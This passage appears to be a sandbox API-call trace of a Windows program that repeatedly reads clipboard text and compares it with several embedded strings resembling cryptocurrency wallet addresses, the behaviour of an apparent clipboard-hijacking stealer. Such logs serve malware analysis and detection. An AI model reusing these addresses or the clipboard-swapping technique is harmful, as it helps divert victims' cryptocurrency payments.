lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.353] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.354] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.355] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.356] Sleep (dwMilliseconds=0x64) [0049.492] GetOpenClipboardWindow () returned 0x0 [0049.492] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.492] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.492] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.492] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.492] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.501] GlobalUnlock (hMem=0x6069b8) returned 1 [0049.501] CloseClipboard () returned 1 [0049.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.501] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="G\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="F\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="B\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="r\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.502] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="h\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="o\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="v\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="E\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="K\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="Q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="C\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="y\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="i\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.503] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="X\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="W\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="A\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="M\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="f\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="q\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="l\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="N\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="p\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.504] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="k\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x18febc, cbMultiByte=1, lpWideCharStr=0x18eea8, cchWideChar=2047 | out: lpWideCharStr="c\x18軈Ǜt1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 1 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e68, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="1Htm9mQkBRRH6yD6oRL4QoSqoj5SphShohx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3438, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="qz4c9989lurmv3uuhyux34jxy77uttah8yunhl65lpMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1da3470, cbMultiByte=42, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="0xcDfF92e9c364E2707e5C71494ee95f16F44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 42 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8e98, cbMultiByte=34, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="XeHqXvMCCbSJsNK5RsoSrRuWoDU94iTUnjF44A5dd7MXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 34 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1d8dab8, cbMultiByte=106, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="4BrL51JCc9NGQ71kWhnYoDRffsDZy7m1HUU7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 106 [0049.505] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1db8ec8, cbMultiByte=35, lpWideCharStr=0x18eeb0, cchWideChar=2047 | out: lpWideCharStr="t1PRXG3qwgNbdH2FyGfEwTVPazP3C4QUHzx7MRU4nUMXAHNFBEJhkTZV9HdaL4gfuNBxLPc3BeMkLGaPbF5vWtANQsQBpZ2F2p1TsdLsXq߿") returned 35 [0049.505] Sleep (dwMilliseconds=0x64) [0049.682] GetOpenClipboardWindow () returned 0x0 [0049.682] OpenClipboard (hWndNewOwner=0x0) returned 1 [0049.682] GetClipboardData (uFormat=0xd) returned 0x6069b8 [0049.682] GlobalLock (hMem=0x6069b8) returned 0x6069b8 [0049.682] GlobalSize (hMem=0x6069b8) returned 0x42 [0049.682] SysReAllocStringLen (in: pbstr=0x18ff50*=0x0, psz="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc", len=0x21 | out: pbstr=0x18ff50*="vBrXECGFCBrWhovEKQCyiXWAMfqlNpkc") returned 1 [0049.682] GlobalUnlock (hMem=0x6069b8) returned 